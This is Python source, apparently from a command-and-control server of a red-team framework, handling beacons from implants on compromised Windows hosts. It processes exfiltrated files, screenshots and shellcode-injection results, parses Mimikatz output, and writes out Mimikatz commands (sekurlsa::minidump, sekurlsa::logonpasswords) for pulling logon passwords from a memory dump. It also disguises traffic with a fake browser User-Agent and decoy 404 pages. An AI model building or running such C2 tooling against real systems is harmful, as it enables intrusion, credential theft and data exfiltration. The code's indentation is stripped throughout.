def newTaskOutput(uriPath, cookieVal, post_data, wsclient=False):
now = datetime.datetime.now()
all_implants = DB.get_implants_all()
if not all_implants:
print_bad(
"Received post request but no implants in database... has the project been cleaned but you're using the same URLs?"
)
return
for implant in all_implants:
implantID = implant.ImplantID
RandomURI = implant.RandomURI
Hostname = implant.Hostname
encKey = implant.Key
Domain = implant.Domain
User = implant.User
if RandomURI in uriPath and cookieVal:
DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"),
RandomURI)
decCookie = decrypt(encKey, cookieVal)
rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
if decCookie.startswith("Error"):
print(Colours.RED)
print("The multicmd errored: ")
print(rawoutput)
print(Colours.GREEN)
return
cookieMsg = ""
if "-" in decCookie:
decCookie = decCookie.strip('\x00')
splt = decCookie.split("-")
if not splt[0].isdigit():
print(Colours.RED +
"[!] Cookie %s is invalid" % decCookie +
Colours.GREEN)
return
else:
taskId = str(int(splt[0]))
cookieMsg = splt[1]
else:
taskId = str(int(decCookie.strip('\x00')))
taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
if taskId != "99999":
executedCmd = DB.get_cmd_from_task_id(taskId)
task_owner = DB.get_task_owner(taskId)
else:
print(Colours.END)
timenow = now.strftime("%Y-%m-%d %H:%M:%S")
print(
f"Background task against implant {implantID} on host {Domain}\\{User} @ {Hostname} ({timenow}) (output appended to %sbackground-data.txt)"
% ReportsDirectory)
print(Colours.GREEN)
print(rawoutput)
miscData = open(("%sbackground-data.txt" % ReportsDirectory),
"a+")
miscData.write(rawoutput)
return
print(Colours.GREEN)
if task_owner is not None:
print(
"Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)"
% (taskIdStr, task_owner, implantID, Domain, User,
Hostname, now.strftime("%Y-%m-%d %H:%M:%S")))
else:
print(
"Task %s returned against implant %s on host %s\\%s @ %s (%s)"
% (taskIdStr, implantID, Domain, User, Hostname,
now.strftime("%Y-%m-%d %H:%M:%S")))
try:
outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput)
outputParsed = outputParsed.rstrip()
except Exception:
pass
if cookieMsg is not None and cookieMsg.lower().startswith(
"pwrstatusmsg"):
translate_power_status(outputParsed, RandomURI)
return
if "loadmodule" in executedCmd and len(outputParsed.split()) == 0:
print("Module loaded successfully")
DB.update_task(taskId, "Module loaded successfully")
elif "pbind-connect " in executedCmd and "PBind-Connected" in outputParsed or "PBind PBind start" in executedCmd and "PBind-Connected" in outputParsed:
outputParsed = re.search("PBind-Connected:.*", outputParsed)
outputParsed = outputParsed[0].replace("PBind-Connected: ", "")
Domain, User, Hostname, Arch, PID, Proxy = str(
outputParsed).split(";")
Proxy = Proxy.replace("\x00", "")
if "\\" in User:
User = User[User.index("\\") + 1:]
PivotString = "C# PBind"
if "pbind-command run-exe PBind PBind start" in executedCmd:
PivotString = "C# PBind Pivot"
newImplant = Implant(implantID, PivotString, str(Domain),
str(User), str(Hostname), Arch, PID, None)
newImplant.save()
newImplant.display()
newImplant.autoruns()
if "pbind-command run-exe PBind PBind start" in executedCmd:
DB.new_task("pbind-pivot-loadmodule Stage2-Core.exe",
"autoruns", RandomURI)
else:
DB.new_task("pbind-loadmodule Stage2-Core.exe", "autoruns",
RandomURI)
elif "fcomm-connect " in executedCmd and "FComm-Connected" in outputParsed:
outputParsed = re.search("FComm-Connected:.*", outputParsed)
outputParsed = outputParsed[0].replace("FComm-Connected: ", "")
Domain, User, Hostname, Arch, PID, Proxy = str(
outputParsed).split(";")
Proxy = Proxy.replace("\x00", "")
if "\\" in User:
User = User[User.index("\\") + 1:]
newImplant = Implant(implantID, "C# FComm", str(Domain),
str(User), str(Hostname), Arch, PID, None)
newImplant.save()
newImplant.display()
newImplant.autoruns()
DB.new_task("fcomm-loadmodule Stage2-Core.exe", "autoruns",
RandomURI)
elif executedCmd.lower().startswith("beacon "):
new_sleep = executedCmd.replace('beacon ', '').strip()
DB.update_sleep(new_sleep, RandomURI)
elif "get-screenshot" in executedCmd.lower():
try:
decoded = base64.b64decode(outputParsed)
filename = implant.User + "-" + now.strftime(
"%m%d%Y%H%M%S_" + randomuri())
output_file = open(
'%s%s.png' % (DownloadsDirectory, filename), 'wb')
print("Screenshot captured: %s%s.png" %
(DownloadsDirectory, filename))
DB.update_task(
taskId, "Screenshot captured: %s%s.png" %
(DownloadsDirectory, filename))
output_file.write(decoded)
output_file.close()
except Exception:
DB.update_task(
taskId,
"Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
)
print(
"Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
)
elif (executedCmd.lower().startswith("$shellcode64")) or (
executedCmd.lower().startswith("$shellcode64")):
DB.update_task(taskId, "Upload shellcode complete")
print("Upload shellcode complete")
elif (executedCmd.lower().startswith(
"run-exe core.program core inject-shellcode"
)) or (executedCmd.lower().startswith(
"pbind-command run-exe core.program core inject-shellcode"
)) or (executedCmd.lower().startswith(
"pbind-pivot-command run-exe core.program core inject-shellcode"
)):
DB.update_task(taskId, "Upload shellcode complete")
print(outputParsed)
elif "download-file" in executedCmd.lower():
try:
filename = executedCmd.lower().replace(
"download-files ", "")
filename = filename.replace("download-file ", "")
filename = filename.replace("-source ", "")
filename = filename.replace("..", "")
filename = filename.replace("'", "")
filename = filename.replace('"', "")
filename = filename.replace("\\", "/")
directory, filename = filename.rsplit('/', 1)
filename = filename.rstrip('\x00')
original_filename = filename.strip()
if not original_filename:
directory = directory.rstrip('\x00')
directory = directory.replace("/", "_").replace(
"\\", "_").strip()
original_filename = directory
try:
if rawoutput.startswith("Error"):
print("Error downloading file: ")
print(rawoutput)
break
chunkNumber = rawoutput[:5]
totalChunks = rawoutput[5:10]
except Exception:
chunkNumber = rawoutput[:5].decode("utf-8")
totalChunks = rawoutput[5:10].decode("utf-8")
if (chunkNumber == "00001") and os.path.isfile(
'%s%s' % (DownloadsDirectory, filename)):
counter = 1
while (os.path.isfile('%s%s' %
(DownloadsDirectory, filename))):
if '.' in filename:
filename = original_filename[:original_filename
.rfind(
'.'
)] + '-' + str(
counter
) + original_filename[
original_filename
.rfind('.'):]
else:
filename = original_filename + '-' + str(
counter)
counter += 1
if (chunkNumber != "00001"):
counter = 1
if not os.path.isfile('%s%s' %
(DownloadsDirectory, filename)):
print(
"Error trying to download part of a file to a file that does not exist: %s"
% filename)
while (os.path.isfile('%s%s' %
(DownloadsDirectory, filename))):
# First find the 'next' file would be downloaded to
if '.' in filename:
filename = original_filename[:original_filename
.rfind(
'.'
)] + '-' + str(
counter
) + original_filename[
original_filename
.rfind('.'):]
else:
filename = original_filename + '-' + str(
counter)
counter += 1
if counter != 2:
# Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
if '.' in filename:
filename = original_filename[:original_filename
.rfind(
'.'
)] + '-' + str(
counter - 2
) + original_filename[
original_filename
.rfind('.'):]
else:
filename = original_filename + '-' + str(
counter - 2)
else:
filename = original_filename
print("Download file part %s of %s to: %s" %
(chunkNumber, totalChunks, filename))
DB.update_task(
taskId, "Download file part %s of %s to: %s" %
(chunkNumber, totalChunks, filename))
output_file = open('%s%s' % (DownloadsDirectory, filename),
'ab')
try:
output_file.write(rawoutput[10:])
except Exception:
output_file.write(rawoutput[10:].encode("utf-8"))
output_file.close()
except Exception as e:
DB.update_task(taskId, "Error downloading file %s " % e)
print("Error downloading file %s " % e)
traceback.print_exc()
elif "safetydump" in executedCmd.lower():
rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
if rawoutput.startswith("[-]") or rawoutput.startswith(
"ErrorCmd"):
DB.update_task(taskId, rawoutput)
print(rawoutput)
else:
dumpname = "SafetyDump-Task-%s.b64" % taskIdStr
dumppath = "%s%s" % (DownloadsDirectory, dumpname)
open(dumppath, 'w').write(rawoutput)
message = "Dump written to: %s" % dumppath
message = message + "\n The base64 blob needs decoding, e.g. on Windows to use Mimikatz:"
message = message + "\n $filename = '.\\%s'" % dumpname
message = message + "\n $b64 = Get-Content $filename"
message = message + "\n $bytes = [System.Convert]::FromBase64String($b64)"
message = message + "\n [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + '\\safetydump.dmp', $bytes)"
message = message + "\n ./mimikatz.exe"
message = message + "\n sekurlsa::minidump safetydump.dmp"
message = message + "\n sekurlsa::logonpasswords"
message = message + "\nOr to just decode on Linux:"
message = message + f"\n base64 -id {dumpname} > dump.bin"
DB.update_task(taskId, message)
print(message)
elif (executedCmd.lower().startswith("run-exe safetykatz")
or "invoke-mimikatz" in executedCmd
or executedCmd.lower().startswith("pbind-")
or executedCmd.lower().startswith("fcomm-command")
or executedCmd.lower().startswith("run-dll sharpsploit")
) and "logonpasswords" in outputParsed.lower():
print("Parsing Mimikatz Output")
DB.update_task(taskId, outputParsed)
process_mimikatz(outputParsed)
print(Colours.GREEN)
print(outputParsed + Colours.END)
else:
DB.update_task(taskId, outputParsed)
print(Colours.GREEN)
print(outputParsed + Colours.END)
def do_POST(self):
"""Respond to a POST request."""
try:
self.server_version = ServerHeader
self.sys_version = ""
try:
content_length = int(self.headers['Content-Length'])
except:
content_length = 0
self.cookieHeader = self.headers.get('Cookie')
try:
cookieVal = (self.cookieHeader).replace("SessionID=", "")
except:
cookieVal = ""
post_data = self.rfile.read(content_length)
logging.info(
"POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data)
now = datetime.datetime.now()
result = get_implants_all()
if not result:
print_bad(
"Received post request but no implants in database... has the project been cleaned but you're using the same URLs?"
)
return
for i in result:
implantID = i[0]
RandomURI = i[1]
Hostname = i[3]
encKey = i[5]
Domain = i[11]
User = i[2]
if RandomURI in self.path and cookieVal:
update_implant_lastseen(now.strftime("%d/%m/%Y %H:%M:%S"),
RandomURI)
decCookie = decrypt(encKey, cookieVal)
rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
if decCookie.startswith("Error"):
print(Colours.RED)
print("The multicmd errored: ")
print(rawoutput)
print(Colours.GREEN)
return
taskId = str(int(decCookie.strip('\x00')))
taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
executedCmd = get_cmd_from_task_id(taskId)
task_owner = get_task_owner(taskId)
print(Colours.GREEN)
if task_owner is not None:
print(
"Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)"
% (taskIdStr, task_owner, implantID, Domain, User,
Hostname, now.strftime("%d/%m/%Y %H:%M:%S")))
else:
print(
"Task %s returned against implant %s on host %s\\%s @ %s (%s)"
% (taskIdStr, implantID, Domain, User, Hostname,
now.strftime("%d/%m/%Y %H:%M:%S")))
try:
outputParsed = re.sub(r'123456(.+?)654321', '',
rawoutput)
outputParsed = outputParsed.rstrip()
except Exception:
pass
if "loadmodule" in executedCmd:
print("Module loaded successfully")
update_task(taskId, "Module loaded successfully")
elif executedCmd.lower().startswith("beacon "):
new_sleep = executedCmd.replace('beacon ', '').strip()
update_sleep(new_sleep, RandomURI)
elif "get-screenshot" in executedCmd.lower():
try:
decoded = base64.b64decode(outputParsed)
filename = i[3] + "-" + now.strftime(
"%m%d%Y%H%M%S_" + randomuri())
output_file = open(
'%s%s.png' % (DownloadsDirectory, filename),
'wb')
print("Screenshot captured: %s%s.png" %
(DownloadsDirectory, filename))
update_task(
taskId, "Screenshot captured: %s%s.png" %
(DownloadsDirectory, filename))
output_file.write(decoded)
output_file.close()
except Exception:
update_task(
taskId,
"Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
)
print(
"Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
)
elif (executedCmd.lower().startswith("$shellcode64")) or (
executedCmd.lower().startswith("$shellcode64")):
update_task(taskId, "Upload shellcode complete")
print("Upload shellcode complete")
elif (executedCmd.lower().startswith(
"run-exe core.program core inject-shellcode")):
update_task(taskId, "Upload shellcode complete")
print(outputParsed)
elif "download-file" in executedCmd.lower():
try:
filename = executedCmd.lower().replace(
"download-files ", "")
filename = filename.replace("download-file ", "")
filename = filename.replace("-source ", "")
filename = filename.replace("..", "")
filename = filename.replace("'", "")
filename = filename.replace('"', "")
filename = filename.replace("\\", "/")
directory, filename = filename.rsplit('/', 1)
filename = filename.rstrip('\x00')
original_filename = filename.strip()
if not original_filename:
directory = directory.rstrip('\x00')
directory = directory.replace(
"/", "_").replace("\\", "_").strip()
original_filename = directory
try:
if rawoutput.startswith("Error"):
print("Error downloading file: ")
print(rawoutput)
break
chunkNumber = rawoutput[:5]
totalChunks = rawoutput[5:10]
except Exception:
chunkNumber = rawoutput[:5].decode("utf-8")
totalChunks = rawoutput[5:10].decode("utf-8")
if (chunkNumber == "00001") and os.path.isfile(
'%s%s' % (DownloadsDirectory, filename)):
counter = 1
while (os.path.isfile(
'%s%s' %
(DownloadsDirectory, filename))):
if '.' in filename:
filename = original_filename[:original_filename.rfind(
'.')] + '-' + str(
counter) + original_filename[
original_filename.rfind('.'
):]
else:
filename = original_filename + '-' + str(
counter)
counter += 1
if (chunkNumber != "00001"):
counter = 1
if not os.path.isfile(
'%s%s' %
(DownloadsDirectory, filename)):
print(
"Error trying to download part of a file to a file that does not exist: %s"
% filename)
while (os.path.isfile(
'%s%s' %
(DownloadsDirectory, filename))):
# First find the 'next' file would be downloaded to
if '.' in filename:
filename = original_filename[:original_filename.rfind(
'.')] + '-' + str(
counter) + original_filename[
original_filename.rfind('.'
):]
else:
filename = original_filename + '-' + str(
counter)
counter += 1
if counter != 2:
# Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
if '.' in filename:
filename = original_filename[:original_filename.rfind(
'.')] + '-' + str(
counter - 2
) + original_filename[
original_filename.rfind('.'):]
else:
filename = original_filename + '-' + str(
counter - 2)
else:
filename = original_filename
print("Download file part %s of %s to: %s" %
(chunkNumber, totalChunks, filename))
update_task(
taskId, "Download file part %s of %s to: %s" %
(chunkNumber, totalChunks, filename))
output_file = open(
'%s%s' % (DownloadsDirectory, filename), 'ab')
try:
output_file.write(rawoutput[10:])
except Exception:
output_file.write(
rawoutput[10:].encode("utf-8"))
output_file.close()
except Exception as e:
update_task(taskId,
"Error downloading file %s " % e)
print("Error downloading file %s " % e)
traceback.print_exc()
elif "safetydump" in executedCmd.lower():
rawoutput = decrypt_bytes_gzip(encKey,
post_data[1500:])
if rawoutput.startswith("[-]") or rawoutput.startswith(
"ErrorCmd"):
update_task(taskId, rawoutput)
print(rawoutput)
else:
dumpname = "SafetyDump-Task-%s.b64" % taskIdStr
dumppath = "%s%s" % (DownloadsDirectory, dumpname)
open(dumppath, 'w').write(rawoutput)
message = "Dump written to: %s" % dumppath
message = message + "\n The base64 blob needs decoding on Windows and then Mimikatz can be run against it."
message = message + "\n E.g:"
message = message + "\n $filename = '.\\%s'" % dumpname
message = message + "\n $b64 = Get-Content $filename"
message = message + "\n $bytes = [System.Convert]::FromBase64String($b64)"
message = message + "\n [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + 'safetydump.dmp', $bytes)"
message = message + "\n ./mimikatz.exe"
message = message + "\n sekurlsa::minidump safetydump.dmp"
message = message + "\n sekurlsa::logonpasswords"
update_task(taskId, message)
print(message)
elif (executedCmd.lower().startswith("run-exe safetykatz")
or executedCmd.lower().startswith("invoke-mimikatz")
or executedCmd.lower().startswith("pbind-command")
) and "logonpasswords" in outputParsed.lower():
print("Parsing Mimikatz Output")
process_mimikatz(outputParsed)
update_task(taskId, outputParsed)
print(Colours.GREEN)
print(outputParsed + Colours.END)
else:
update_task(taskId, outputParsed)
print(Colours.GREEN)
print(outputParsed + Colours.END)
except Exception as e:
if 'broken pipe' not in str(e).lower():
print_bad("Error handling POST request: " + e)
traceback.print_exc()
finally:
try:
UriPath = str(self.path)
sharpurls = get_sharpurls().split(",")
sharplist = []
for i in sharpurls:
i = i.replace(" ", "")
i = i.replace("\"", "")
sharplist.append("/" + i)
if [ele for ele in sharplist if (ele in UriPath)]:
try:
open(
"%swebserver.log" % PoshProjectDirectory, "a"
).write(
"[+] Making POST connection to SharpSocks %s%s\r\n"
% (SocksHost, UriPath))
r = Request(
"%s%s" % (SocksHost, UriPath),
headers={
'Cookie':
'%s' % self.cookieHeader,
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'
})
res = urlopen(r, post_data)
sharpout = res.read()
self.send_response(res.getcode())
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", len(sharpout))
self.end_headers()
if (len(sharpout) > 0):
self.wfile.write(sharpout)
except URLError as e:
try:
self.send_response(res.getcode())
except:
self.send_response(500)
self.send_header("Content-type", "text/html")
try:
self.send_header("Content-Length", len(sharpout))
except:
self.send_header("Content-Length", 0)
self.end_headers()
open(
"%swebserver.log" % PoshProjectDirectory, "a"
).write(
"[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
% (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory,
"a").write("[-] SharpSocks %s\r\n" % e)
except Exception as e:
self.send_response(res.getcode())
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", len(sharpout))
self.end_headers()
open(
"%swebserver.log" % PoshProjectDirectory, "a"
).write(
"[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
% (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory,
"a").write("[-] SharpSocks %s\r\n" % e)
print(
Colours.RED +
"Error with SharpSocks or old implant connection - is SharpSocks running"
+ Colours.END)
print(Colours.RED + UriPath + Colours.END)
self.send_response(404)
self.send_header("Content-type", "text/html")
self.end_headers()
HTTPResponsePage = select_item("GET_404_Response",
"C2Server")
if HTTPResponsePage:
self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
else:
self.wfile.write(bytes(GET_404_Response, "utf-8"))
else:
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(default_response())
except Exception as e:
print(Colours.RED + "Generic error in POST request!" +
Colours.END)
print(Colours.RED + UriPath + Colours.END)
print(e)
traceback.print_exc()
